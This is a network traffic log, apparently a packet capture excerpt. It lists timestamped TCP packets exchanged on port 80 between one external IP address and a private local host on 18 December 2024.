Dec 18, 2024 14:08:03.948477030 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.948519945 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.948653936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.949350119 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.949364901 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.949412107 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.950258017 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.950270891 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.950336933 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.951220989 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.951301098 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.951342106 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.952030897 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.952136993 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.952141047 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.973510981 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.973545074 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.973558903 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.973566055 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.973697901 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.973722935 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.973750114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.973762035 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.973773956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.973779917 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.973819971 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.974061966 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.974076033 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.974109888 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.974112988 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.974133968 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.974148035 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.974169970 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.974370956 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.974414110 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.974518061 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.974529982 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.974565029 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.974570990 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.974572897 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.974575996 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.974605083 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.974884033 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.974921942 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.975018978 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.975033045 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.975044966 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.975058079 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.975070000 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.975078106 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.975081921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.975094080 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.975106001 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.975110054 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.975123882 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:03.975131035 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:03.975146055 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.015177965 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.108720064 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.108824968 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.108987093 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.109029055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.109138966 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.109181881 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.110002995 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.110116959 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.110166073 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.110953093 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.111346960 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.111486912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.111531019 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.112164021 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.112210035 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.112425089 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.113177061 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.113251925 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.113276005 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.114710093 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.114764929 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.115031958 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.115848064 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.115896940 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.115969896 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.116420984 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.116487980 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.116492033 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.117271900 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.117312908 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.117327929 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.118205070 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.118246078 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.118459940 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.119029999 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.119075060 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.119116068 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.119832993 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.119884968 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.119904041 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.120660067 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.120745897 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.120784044 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.121607065 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.121659040 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.121661901 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.122654915 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.122795105 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.122845888 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.123672962 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.123694897 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.123729944 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.124376059 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.124420881 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.124499083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.125344038 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.125349045 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.125391960 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.126173973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.126276970 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.126311064 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.127115965 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.127159119 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.127366066 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.128408909 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.128474951 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.128523111 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.129206896 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.129247904 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.129262924 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.129939079 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.130062103 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.130106926 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.130894899 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.130944014 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.130989075 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.131869078 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.131923914 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.131943941 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.132765055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.132814884 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.132893085 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.133706093 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.133760929 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.133882999 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.134654045 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.134803057 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.134857893 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.135574102 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.135637999 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.135689974 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.136466026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.136508942 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.136595964 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.137424946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.137481928 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.137598991 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.138333082 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.138411999 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.138431072 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.139302015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.139368057 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.139483929 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.140258074 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.140325069 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.140363932 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.141243935 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.141263962 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.141315937 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.142060995 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.142112017 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.142242908 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.142999887 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.143054008 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.143064976 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.143919945 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.143978119 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.144047022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.144913912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.144989967 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.145025969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.145836115 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.145896912 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.145989895 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.146744013 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.146828890 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.146831989 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.147737026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.147780895 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.147842884 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.148684978 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.148768902 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.148817062 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.149560928 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.149606943 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.149646997 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.150494099 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.150543928 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.150616884 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.152071953 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.152127028 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.152160883 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.152386904 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.152430058 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.152439117 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.153280973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.153351068 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.153390884 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.154267073 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.154331923 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.154402971 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.155457973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.155512094 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.155512094 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.156394958 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.156444073 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.156533003 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.157351971 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.157390118 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.157396078 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.202689886 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.300683975 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.300704002 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.300760984 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.300832987 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.300956011 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.301007986 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.301826000 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.301889896 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.301938057 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.302782059 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.302797079 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.302838087 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.303502083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.303514957 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.303586960 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.304270029 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.304315090 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.304362059 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.305202961 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.305386066 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.305428028 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.306385994 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.306493044 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.306575060 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.307238102 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.307400942 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.307506084 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.308245897 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.308286905 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.308386087 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.309092999 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.309107065 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.309165955 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.309900999 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.310026884 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.310065985 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.310827971 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.311042070 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.311136007 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.311666965 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.311779022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.311953068 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.312649965 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.312774897 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.312849045 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.313659906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.313708067 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.313747883 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.314548969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.314659119 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.314711094 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.315542936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.315773964 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.315818071 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.316436052 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.316543102 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.316636086 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.317356110 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.317487955 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.317532063 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.318711042 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.318952084 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.319466114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.319479942 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.319503069 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.319530964 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.320132971 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.320255995 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.320318937 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.321161032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.321212053 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.321254969 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.322009087 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.322150946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.322202921 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.322911978 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.323098898 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.323200941 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.323836088 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.323947906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.324083090 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.324862957 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.324930906 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.324971914 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.325803041 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.326157093 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.326200008 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.326668024 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.326942921 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.326983929 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.327882051 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.328210115 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.328248024 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.328716993 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.328753948 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.328787088 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.329477072 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.329626083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.329667091 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.330426931 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.330501080 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.330544949 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.331322908 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.331500053 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.331542015 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.332263947 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.332429886 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.332479954 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.333208084 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.333364010 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.333457947 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.334153891 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.334369898 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.334409952 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.335202932 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.335304976 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.335351944 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.336019039 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.336119890 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:04.336160898 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:04.336937904 CET	80	49780	176.113.115.178	192.168.2.9
